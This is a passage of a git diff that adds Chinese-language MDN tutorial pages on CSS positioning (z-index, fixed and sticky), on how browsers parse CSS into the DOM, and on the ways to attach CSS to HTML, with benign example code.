+<p>哪个元素是绝对定位元素的“包含元素“?这取决于绝对定位元素的父元素的position属性。(参见 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Containing_block#Identifying_the_containing_block">Identifying the containing block</a>).</p> + +<p>如果所有的父元素都没有显式地定义position属性,那么所有的父元素默认情况下position属性都是static。结果,绝对定位元素会被包含在<strong>初始块容器</strong>中。这个初始块容器有着和浏览器视口一样的尺寸,并且<html>元素也被包含在这个容器里面。简单来说,绝对定位元素会被放在<html>元素的外面,并且根据浏览器视口来定位。</p> + +<p>绝对定位元素在HTML源代码中,是被放在<body>中的,但是在最终的布局里面,它离页面(而不是<body>)的左边界、上边界有30px的距离。我们可以改变<strong>定位上下文</strong> —— 绝对定位的元素的相对位置元素。通过设置其中一个父元素的定位属性 —— 也就是包含绝对定位元素的那个元素(如果要设置绝对定位元素的相对元素,那么这个元素一定要包含绝对定位元素)。 为了演示这一点,将以下声明添加到您的body规则中:</p> + +<pre class="notranslate">position: relative;</pre> + +<p>应该得到以下结果:</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Positioning context</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">Now I'm absolutely positioned relative to the <code>&lt;body&gt;</code> element, not the <code>&lt;html&gt;</code> element!</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; + position: relative; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +.positioned { + position: absolute; + background: yellow; + top: 30px; + left: 30px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('定位上下文', '100%', 420) }}</p> + +<p>定位的元素现在相对于{{htmlelement("body")}}元素。</p> + +<div class="note"> +<p>注意:你可以在这里看到这个例子 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/4_positioning-context.html">4_positioning-context.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/4_positioning-context.html">see source code</a>).</p> +</div> + +<h3 id="介绍_z-index">介绍 z-index</h3> + +<p>所有这些绝对定位很有趣,但还有另一件事我们还没有考虑到 ——当元素开始重叠,什么决定哪些元素出现在其他元素的顶部? 在我们已经看到的示例中,我们在定位上下文中只有一个定位的元素,它出现在顶部,因为定位的元素胜过未定位的元素。 当我们有不止一个的时候呢?</p> + +<p>尝试添加以下到您的CSS,使第一段也是绝对定位:</p> + +<pre class="notranslate">p:nth-of-type(1) { + position: absolute; + background: lime; + top: 10px; + right: 30px; +}</pre> + +<p>此时,您将看到第一段的颜色为绿色,移出文档流程,并位于原始位置上方一点。它也堆叠在原始的 <code>.positioned</code> 段落下,其中两个重叠。这是因为 <code>.positioned</code> 段落是源顺序(HTML标记)中的第二个段落,并且源顺序中后定位的元素将赢得先定位的元素。</p> + +<p>您可以更改堆叠顺序吗?是的,您可以使用{{cssxref("z-index")}}属性。 “z-index”是对z轴的参考。你可以从源代码中的上一点回想一下,我们使用水平(x轴)和垂直(y轴)坐标来讨论网页,以确定像背景图像和阴影偏移之类的东西的位置。 (0,0)位于页面(或元素)的左上角,x和y轴跨页面向右和向下(适合从左到右的语言,无论如何)。</p> + +<p>网页也有一个z轴:一条从屏幕表面到你的脸(或者在屏幕前面你喜欢的任何其他东西)的虚线。{{cssxref("z-index")}} 值影响定位元素位于该轴上的位置;正值将它们移动到堆栈上方,负值将它们向下移动到堆栈中。默认情况下,定位的元素都具有z-index为auto,实际上为0。</p> + +<p>要更改堆叠顺序,请尝试将以下声明添加到 <code>p:nth-of-type(1)</code> 规则中:</p> + +<pre class="notranslate">z-index: 1;</pre> + +<p>你现在应该可以看到完成的例子:</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>z-index</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">Now I'm absolutely positioned relative to the <code>&lt;body&gt;</code> element, not the <code>&lt;html&gt;</code> element!</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; + position: relative; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +.positioned { + position: absolute; + background: yellow; + top: 30px; + left: 30px; +} + +p:nth-of-type(1) { + position: absolute; + background: lime; + top: 10px; + right: 30px; + z-index: 1; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('介绍_z-index', '100%', 400) }}</p> + +<p>请注意,z-index只接受无单位索引值;你不能指定你想要一个元素是Z轴上23像素—— 它不这样工作。 较高的值将高于较低的值,这取决于您使用的值。 使用2和3将产生与300和40000相同的效果。</p> + +<div class="note"> +<p><strong>注意:</strong>你可以在这里看到这个例子 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/5_z-index.html">5_z-index.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/5_z-index.html">see source code</a>).</p> +</div> + +<h3 id="固定定位">固定定位</h3> + +<p>还有一种类型的定位覆盖——fixed。 这与绝对定位的工作方式完全相同,只有一个主要区别:绝对定位固定元素是相对于 {{htmlelement("html")}} 元素或其最近的定位祖先,而固定定位固定元素则是相对于浏览器视口本身。 这意味着您可以创建固定的有用的UI项目,如持久导航菜单。</p> + +<p>让我们举一个简单的例子来说明我们的意思。首先,从CSS中删除现有的 <code>p:nth-of-type(1)</code> 和<code>.positioned</code> 规则。</p> + +<p>现在,更新 <code>body</code> 规则以删除<code>position: relative;</code> 声明并添加固定高度,如此:</p> + +<pre class="notranslate">body { + width: 500px; + height: 1400px; + margin: 0 auto; +}</pre> + +<p>现在我们要给{{htmlelement("h1")}}元素 <code>position: fixed;</code>,并让它坐在视口的顶部中心。将以下规则添加到CSS:</p> + +<pre class="notranslate">h1 { + position: fixed; + top: 0; + width: 500px; + margin: 0 auto; + background: white; + padding: 10px; +}</pre> + +<p> <code>top: 0;</code>是要使它贴在屏幕的顶部;我们然后给出标题与内容列相同的宽度,并使用可靠的老技巧 <code>margin: 0 auto;</code> 使它居中。 然后我们给它一个白色背景和一些内边距,所以内容将不会在它下面可见。</p> + +<p>如果您现在保存并刷新,您会看到一个有趣的小效果,标题保持固定,内容显示向上滚动并消失在其下。 但是我们可以改进这一点——目前标题下面挡住一些内容的开头。这是因为定位的标题不再出现在文档流中,所以其他内容向上移动到顶部。 我们要把它向下移动一点;我们可以通过在第一段设置一些顶部边距来做到这一点。添加:</p> + +<pre class="notranslate">p:nth-of-type(1) { + margin-top: 60px; +}</pre> + +<p>你现在应该看到完成的例子:</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Fixed positioning</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p class="positioned">I'm not positioned any more...</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements <span>wrap onto a new line if possible — like this one containing text</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + height: 1400px; + margin: 0 auto; +} + +p { + background: aqua; + border: 3px solid blue; + padding: 10px; + margin: 10px; +} + +span { + background: red; + border: 1px solid black; +} + +h1 { + position: fixed; + top: 0px; + width: 500px; + margin: 0 auto; + background: white; + padding: 10px; +} + +p:nth-of-type(1) { + margin-top: 60px; +}</pre> +</div> + +<p>{{ EmbedLiveSample('固定定位', '100%', 400) }}</p> + +<div class="note"> +<p><strong>注意:</strong>你可以在这里看到这个例子<code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/6_fixed-positioning.html">6_fixed-positioning.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/6_fixed-positioning.html">see source code</a>).</p> +</div> + +<h3 id="position_sticky">position: sticky</h3> + +<p>还有一个可用的位置值称为 position: sticky,比起其他位置值要新一些。它基本上是相对位置和固定位置的混合体,它允许被定位的元素表现得像相对定位一样,直到它滚动到某个阈值点(例如,从视口顶部起10像素)为止,此后它就变得固定了。例如,它可用于使导航栏随页面滚动直到特定点,然后粘贴在页面顶部。</p> + +<div class="hidden"> +<h6 id="Sticky_positioning_example">Sticky positioning example</h6> + +<pre class="brush: html notranslate"><h1>Sticky positioning</h1> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<div class="positioned">Sticky</div> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +.positioned { + background: rgba(255,84,104,.3); + border: 2px solid rgb(255,84,104); + padding: 10px; + margin: 10px; + border-radius: 5px; +}</pre> +</div> + +<pre class="notranslate">.positioned { + position: sticky; + top: 30px; + left: 30px; +}</pre> + +<p>{{ EmbedLiveSample('Sticky_1', '100%', 200) }}</p> + +<p><code>position: sticky</code> 的另一种有趣且常用的用法,是创建一个滚动索引页面。在此页面上,不同的标题会停留在页面顶部。这样的示例的标记可能如下所示:</p> + +<pre class="notranslate"><h1>Sticky positioning</h1> + +<dl> + <dt>A</dt> + <dd>Apple</dd> + <dd>Ant</dd> + <dd>Altimeter</dd> + <dd>Airplane</dd> + <dt>B</dt> + <dd>Bird</dd> + <dd>Buzzard</dd> + <dd>Bee</dd> + <dd>Banana</dd> + <dd>Beanstalk</dd> + <dt>C</dt> + <dd>Calculator</dd> + <dd>Cane</dd> + <dd>Camera</dd> + <dd>Camel</dd> + <dt>D</dt> + <dd>Duck</dd> + <dd>Dime</dd> + <dd>Dipstick</dd> + <dd>Drone</dd> + <dt>E</dt> + <dd>Egg</dd> + <dd>Elephant</dd> + <dd>Egret</dd> +</dl></pre> + +<p>CSS可能如下所示。在正常布局流中,{{htmlelement("dt")}}元素将随内容滚动。当我们在{{htmlelement("dt")}}元素上添加<code>position: sticky</code>,并将{{cssxref("top")}}的值设置为0,当标题滚动到视口的顶部时,支持此属性的浏览器会将标题粘贴到那个位置。随后,每个后续标题将替换前一个标题,直到它向上滚动到该位置。</p> + +<pre class="notranslate">dt { + background-color: black; + color: white; + padding: 10px; + position: sticky; + top: 0; + left: 0; + margin: 1em 0; +} +</pre> + +<div class="hidden"> +<pre class="notranslate">body { + width: 500px; + height: 1400px; + margin: 0 auto; +} + +dt { + background-color: black; + color: white; + padding: 10px; + position: sticky; + top: 0; + left: 0; + margin: 1em 0; +} +</pre> + +<pre class="notranslate"><h1>Sticky positioning</h1> + +<dl> + <dt>A</dt> + <dd>Apple</dd> + <dd>Ant</dd> + <dd>Altimeter</dd> + <dd>Airplane</dd> + <dt>B</dt> + <dd>Bird</dd> + <dd>Buzzard</dd> + <dd>Bee</dd> + <dd>Banana</dd> + <dd>Beanstalk</dd> + <dt>C</dt> + <dd>Calculator</dd> + <dd>Cane</dd> + <dd>Camera</dd> + <dd>Camel</dd> + <dt>D</dt> + <dd>Duck</dd> + <dd>Dime</dd> + <dd>Dipstick</dd> + <dd>Drone</dd> + <dt>E</dt> + <dd>Egg</dd> + <dd>Elephant</dd> + <dd>Egret</dd> +</dl></pre> +</div> + +<p>{{ EmbedLiveSample('Sticky_2', '100%', 200) }}</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>你可以在 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/7_sticky-positioning.html">7_sticky-positioning.html</a></code> 查看这个例子(<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/7_sticky-positioning.html">see source code</a>)。</p> +</div> + +<h2 id="试试你的技术!">试试你的技术!</h2> + +<p>这篇文章到此为止了,但你们能记住最重要的信息吗?在继续之前,您可以找到一些进一步的测试来验证是否完全掌握了这个知识:<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Position_skills">试试你的技术</a>。</p> + +<h2 id="总结">总结</h2> + +<p>我相信你用基本定位愉快地玩耍;它是创建复杂的CSS布局和UI功能背后的基本工具之一。 考虑到这一点,在下一篇文章中,我们将更有趣的定位——我们将进一步,开始建立一些真实世界有用的东西。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="在本单元中">在本单元中</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Introduction">布局介绍</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats">浮动</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Positioning">定位</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Practical_positioning_examples">定位练习案例</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">弹性盒子</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Grids">Grids</a></li> +</ul> diff --git a/files/zh-cn/learn/css/first_steps/css如何运行/index.html b/files/zh-cn/learn/css/first_steps/css如何运行/index.html new file mode 100644 index 0000000000..7aafcf481f --- /dev/null +++ b/files/zh-cn/learn/css/first_steps/css如何运行/index.html @@ -0,0 +1,162 @@ +--- +title: CSS如何运行 +slug: Learn/CSS/First_steps/CSS如何运行 +tags: + - CSS + - DOM + - 入门 + - 无效的CSS代码 + - 解析 +translation_of: Learn/CSS/First_steps/How_CSS_works +--- +<p>{{LearnSidebar}}<br> + {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p> + +<p class="summary">我们已经知道了CSS是做什么的以及怎么写简单的样式这样基础的CSS,接下来我将了解到浏览器如何获取CSS、HTML和将他们加载成网页。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前置知识:</th> + <td>基础计算机知识、基本软件安装、简单文件知识、HTML基础</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解浏览器如何加载CSS和HTML、浏览器遇到无法解析的CSS会发生什么</td> + </tr> + </tbody> +</table> + +<h2 id="CSS究竟是怎么工作的?">CSS究竟是怎么工作的?</h2> + +<p>当浏览器展示一个文件的时候,它必须兼顾文件的内容和文件的样式信息,下面我们会了解到它处理文件的标准的流程。需要知道的是,下面的步骤是浏览加载网页的简化版本,而且不同的浏览器在处理文件的时候会有不同的方式,但是下面的步骤基本都会出现。</p> + +<ol> + <li>浏览器载入HTML文件(比如从网络上获取)。</li> + <li>将HTML文件转化成一个DOM(Document Object Model),DOM是文件在计算机内存中的表现形式,下一节将更加详细的解释DOM。</li> + <li>接下来,浏览器会拉取该HTML相关的大部分资源,比如嵌入到页面的图片、视频和CSS样式。JavaScript则会稍后进行处理,简单起见,同时此节主讲CSS,所以这里对如何加载JavaScript不会展开叙述。</li> + <li>浏览器拉取到CSS之后会进行解析,根据选择器的不同类型(比如element、class、id等等)把他们分到不同的“桶”中。浏览器基于它找到的不同的选择器,将不同的规则(基于选择器的规则,如元素选择器、类选择器、id选择器等)应用在对应的DOM的节点中,并添加节点依赖的样式(这个中间步骤称为渲染树)。</li> + <li>上述的规则应用于渲染树之后,渲染树会依照应该出现的结构进行布局。</li> + <li>网页展示在屏幕上(这一步被称为着色)。</li> +</ol> + +<p>结合下面的图示更形象:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/11781/rendering.svg" style="height: auto; max-width: 635px; width: 100%;"></p> + +<h2 id="关于DOM">关于DOM</h2> + +<p>一个DOM有一个树形结构,标记语言中的每一个元素、属性以及每一段文字都对应着结构树中的一个节点(Node/DOM或DOM node)。节点由节点本身和其他DOM节点的关系定义,有些节点有父节点,有些节点有兄弟节点(同级节点)。</p> + +<p>对于DOM的理解会很大程度上帮助你设计、调试和维护你的CSS,因为DOM是你的CSS样式和文件内容的结合。当你使用浏览器F12调试的时候你需要操作DOM以查看使用了哪些规则。</p> + +<h2 id="一个真实的DOM案例">一个真实的DOM案例</h2> + +<p>不同于很长且枯燥的案例,这里我们通过一个HTML片段来了解HTML怎么转化成DOM</p> + +<p>以下列HTML代码为例:</p> + +<pre class="brush: html"><p> + Let's use: + <span>Cascading</span> + <span>Style</span> + <span>Sheets</span> +</p> +</pre> + +<p>在这个DOM中,<code><p></code>元素对应了父节点,它的子节点是一个text节点和三个对应了<code><span></code>元素的节点,<code>SPAN</code>节点同时也是他们中的Text节点的父节点。</p> + +<pre>P +├─ "Let's use:" +├─ SPAN +| └─ "Cascading" +├─ SPAN +| └─ "Style" +└─ SPAN + └─ "Sheets" +</pre> + +<p>上图就是浏览器怎么解析之前那个HTML片段——它生成上图的DOM树形结构并将它按照如下输出到浏览器:</p> + +<p>{{EmbedLiveSample('一个真实的DOM案例', '100%', 55)}}</p> + +<div class="hidden"> +<pre class="brush: css">p {margin:0;}</pre> +</div> + +<h2 id="应用CSS到DOM">应用CSS到DOM</h2> + +<p>接下来让我们看看添加一些CSS到文件里加以渲染,同样的HTML代码:</p> + +<pre class="brush: html"><p> + Let's use: + <span>Cascading</span> + <span>Style</span> + <span>Sheets</span> +</p></pre> + +<p>以下为CSS代码:</p> + +<pre class="brush: css">span { + border: 1px solid black; + background-color: lime; +}</pre> + +<p>浏览器会解析HTML并创造一个DOM,然后解析CSS。可以看到唯一的选择器就是<code>span</code>元素选择器,浏览器处理规则会非常快!把同样的规则直接使用在三个<code><span></code>标签上,然后渲染出图像到屏幕。</p> + +<p>现在的显示如下:</p> + +<p>{{EmbedLiveSample('应用CSS到DOM', '100%', 55)}}</p> + +<p>在我们下一个模块的 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS">Debugging CSS</a> 文章中我们将会使用F12调试CSS的问题并且更进一步的了解浏览器如何解析CSS。</p> + +<h2 id="当浏览器遇到无法解析的CSS代码会发生什么">当浏览器遇到无法解析的CSS代码会发生什么</h2> + +<p>在<a href="/zh-CN/docs/Learn/CSS/First_steps/What_is_CSS#浏览器支持">之前的文章中</a>我们提到了浏览器并不会同时实现所有的新CSS,此外很多人也不会使用最新版本的浏览器。鉴于CSS一直不断的开发,因此领先于浏览器可以识别的范围,那么你也许会好奇当浏览器遇到无法解析的CSS选择器或声明的时候会发生什么呢?</p> + +<p>答案就是浏览器什么也不会做,继续解析下一个CSS样式!</p> + +<p>如果一个浏览器在解析你所书写的CSS规则的过程中遇到了无法理解的属性或者值,它会忽略这些并继续解析下面的CSS声明。在你书写了错误的CSS代码(或者误拼写),又或者当浏览器遇到对于它来说很新的还没有支持的CSS代码的时候上述的情况同样会发生(直接忽略)。</p> + +<p>相似的,当浏览器遇到无法解析的选择器的时候,他会直接忽略整个选择器规则,然后解析下一个CSS选择器。</p> + +<p>在下面的案例中,我使用会导致属性错误的英式拼写来书写"color",所以我的段落没有被渲染成蓝色,而其他的CSS代码会正常执行,只有错误的部分会被忽略。</p> + +<div id="Skipping_example"> +<pre class="brush: html"><p> I want this text to be large, bold and blue.</p></pre> + +<pre class="brush: css">p { + font-weight: bold; + colour: blue; /* incorrect spelling of the color property */ + font-size: 200%; +}</pre> +</div> + +<p>{{EmbedLiveSample('Skipping_example', '100%', 200)}}</p> + +<p>这样做好处多多,代表着你使用最新的CSS优化的过程中浏览器遇到无法解析的规则也不会报错。当你为一个元素指定多个CSS样式的时候,浏览器会加载样式表中的最后的CSS代码进行渲染(样式表,优先级等请读者自行了解),也正因为如此,你可以为同一个元素指定多个CSS样式来解决有些浏览器不兼容新特性的问题(比如指定两个<code>width</code>)。</p> + +<p>这一特点在你想使用一个很新的CSS特性但是不是所有浏览器都支持的时候(浏览器兼容)非常有用,举例来说,一些老的浏览器不接收<code>calc()</code>(calculate的缩写,CSS3新增,为元素指定动态宽度、长度等,注意此处的动态是计算之后得一个值)作为一个值。我可能使用它结合像素为一个元素设置了动态宽度(如下),老式的浏览器由于无法解析忽略这一行;新式的浏览器则会把这一行解析成像素值,并且覆盖第一行指定的宽度。</p> + +<pre class="brush: css">.box { + width: 500px; + width: calc(100% - 50px); +}</pre> + +<p>后面的课程我们会讨论更多关于浏览器兼容的问题。</p> + +<h2 id="最后">最后</h2> + +<p>恭喜你完成本模块,下面的文章你将会<a href="/zh-CN/docs/Learn/CSS/First_steps/Using_your_new_knowledge">使用你的新知识</a>来完成覆盖样式的案例,在这个过程中测试一些CSS样式。</p> + +<p>{{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}</p> + +<h2 id="模块目标">模块目标</h2> + +<ol> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/What_is_CSS">什么是CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/开始">入门CSS</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS的结构</a></li> + <li><a href="/en-US/docs/Learn/CSS/First_steps/How_CSS_works">CSS如何运行</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/First_steps/Using_your_new_knowledge">使用新知识</a></li> +</ol> diff --git a/files/zh-cn/learn/css/first_steps/how_css_is_structured/index.html b/files/zh-cn/learn/css/first_steps/how_css_is_structured/index.html new file mode 100644 index 0000000000..aec4a3a61d --- /dev/null +++ b/files/zh-cn/learn/css/first_steps/how_css_is_structured/index.html @@ -0,0 +1,515 @@ +--- +title: 如何构建CSS +slug: Learn/CSS/First_steps/How_CSS_is_structured +tags: + - CSS + - HTML + - 初学者 + - 注释 + - 结构 + - 选择器 +translation_of: Learn/CSS/First_steps/How_CSS_is_structured +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/First_steps/开始", "Learn/CSS/First_steps/CSS如何运行", "Learn/CSS/First_steps")}}</div> + +<p class="summary">既然你已经了解了什么是CSS,以及使用CSS的基础知识,是时候更深入的了解该语言本身的结构了。我们已经见过了本页讨论的很多概念;如果在之后对某些概念感到困惑的话,可以返回至此进行回顾。</p> + +<h4 id="前置知识">前置知识</h4> + +<p><font><font>在开始本单元之前,您应该:</font></font></p> + +<ul> + <li><font><font>基本熟悉计算机操作。</font></font></li> + <li><font><font>基本工作环境的设置(详见</font></font><font><font><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Installing_basic_software">安装基本软件</a>)</font></font><font><font>,基本的文件操作,详见</font></font><font><font><a href="https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/Dealing_with_files">处理文件</a></font></font><font><font>。</font></font></li> + <li>熟悉 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Introduction_to_HTML">HTML概述</a> 章节中提到的基本HTML知识.</li> +</ul> + +<h4 id="目标">目标</h4> + +<ul> + <li>理解 HTML文档链接CSS文档的几个基本套路,</li> + <li>并能运用所学的CSS,做些文字上的格式化操作。</li> +</ul> + +<h2 id="在你的HTML里面应用CSS">在你的HTML里面应用CSS</h2> + +<p>我们需要了解的第一件事情就是在文档中应用CSS的三种方法</p> + +<h3 id="外部样式表">外部样式表</h3> + +<p>在<a href="/en-US/docs/Learn/CSS/First_steps/Getting_started">Getting started with CSS</a> 中我们将外部样式表链接到页面。这是将css附加到文档中的最常见和最有用的方法,因为您可以将css链接到多个页面,从而允许您使用相同的样式表设置所有页面的样式。在大多数情况下,一个站点的不同页面看起来几乎都是一样的,因此您可以使用相同的规则集来获得基本的外观。</p> + +<p>外部样式表是指将CSS编写在扩展名为<code>.css</code> 的单独文件中,并从HTML<code><link></code> 元素引用它的情况:</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My CSS experiment</title> + <link rel="stylesheet" href="styles.css"> + </head> + <body> + <h1>Hello World!</h1> + <p>This is my first CSS example</p> + </body> +</html></pre> + +<p>CSS文件可能如下所示:</p> + +<pre class="brush: css notranslate">h1 { + color: blue; + background-color: yellow; + border: 1px solid black; +} + +p { + color: red; +}</pre> + +<p>{{htmlelement("link")}} 元素的 <code>href</code> 属性需要引用你的文件系统中的一个文件。</p> + +<p>在上面的例子中,CSS文件和HTML文档在同一个文件夹中,但是你可以把CSS文件放在其他地方,并调整指定的路径以匹配,例如:</p> + +<pre class="brush: html notranslate"><!-- Inside a subdirectory called styles inside the current directory --> +<link rel="stylesheet" href="styles/style.css"> + +<!-- Inside a subdirectory called general, which is in a subdirectory called styles, inside the current directory --> +<link rel="stylesheet" href="styles/general/style.css"> + +<!-- Go up one directory level, then inside a subdirectory called styles --> +<link rel="stylesheet" href="../styles/style.css"></pre> + +<h3 id="内部样式表">内部样式表</h3> + +<p>内部样式表是指不使用外部CSS文件,而是将CSS放在HTML文件{{htmlelement("head")}}标签里的{{htmlelement("style")}}标签之中。</p> + +<p>于是HTML看起来就像下面这个样子:</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My CSS experiment</title> + <style> + h1 { + color: blue; + background-color: yellow; + border: 1px solid black; + } + + p { + color: red; + } + </style> + </head> + <body> + <h1>Hello World!</h1> + <p>This is my first CSS example</p> + </body> +</html></pre> + +<p>有的时候,这种方法会比较有用(比如你使用的内容管理系统不能直接编辑CSS文件),但该方法和外部样式表比起来更加低效 。在一个站点里,你不得不在每个页面里重复添加相同的CSS,并且在需要更改CSS时修改每个页面文件。</p> + +<h3 id="内联样式">内联样式</h3> + +<p>内联样式表存在于HTML元素的style属性之中。其特点是每个CSS表只影响一个元素:</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My CSS experiment</title> + </head> + <body> + <h1 style="color: blue;background-color: yellow;border: 1px solid black;">Hello World!</h1> + <p style="color:red;">This is my first CSS example</p> + </body> +</html></pre> + +<p><strong>除非你有充足的理由,否则不要这样做!</strong>它难以维护(在需要更新时,你必须在修改同一个文档的多处地方),并且这种写法将文档结构和文档表现混合起来了,这使得代码变得难以阅读和理解。将不同类型的代码分开存放在不同的文档中,会让我们的工作更加清晰。</p> + +<p>在某些地方,内联样式更常见,甚至更可取。 如果您的工作环境确实很严格(也许网站管理系统(CMS)仅允许您编辑HTML正文),则可能不得不使用它们。 您也会发现它们很长时间被应用在HTML电子邮件中,以便与尽可能多的电子邮件客户端兼容。</p> + +<h2 id="在文本中使用CSS">在文本中使用CSS</h2> + +<p>有的时候我们会在文本中使用大量的CSS。为了做到这些,我们推荐你在你的计算机上创建一个新的文件夹,然后在文件夹中创建下面两个文件的副本。</p> + +<p>index.html:</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html lang="en"> + <head> + <meta charset="utf-8"> + <title>My CSS experiments</title> + <link rel="stylesheet" href="styles.css"> + </head> + <body> + + <p>Create your test HTML here</p> + + </body> +</html></pre> + +<p>styles.css:</p> + +<pre class="brush: css notranslate">/* Create your test CSS here */ + +p { + color: red; +}</pre> + +<p>然后,当您遇到一些您想要试验的CSS时,替换HTML<code><body></code>内容与一些HTML样式,并开始添加CSS样式在您的CSS文件。</p> + +<p>如果你没有可以轻松创建文件的系统,则可以使用下面交互式编译器进行实验。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/experiment-sandbox.html", '100%', 800)}} </p> + +<p>继续读下去,希望你能享受其中!</p> + +<h2 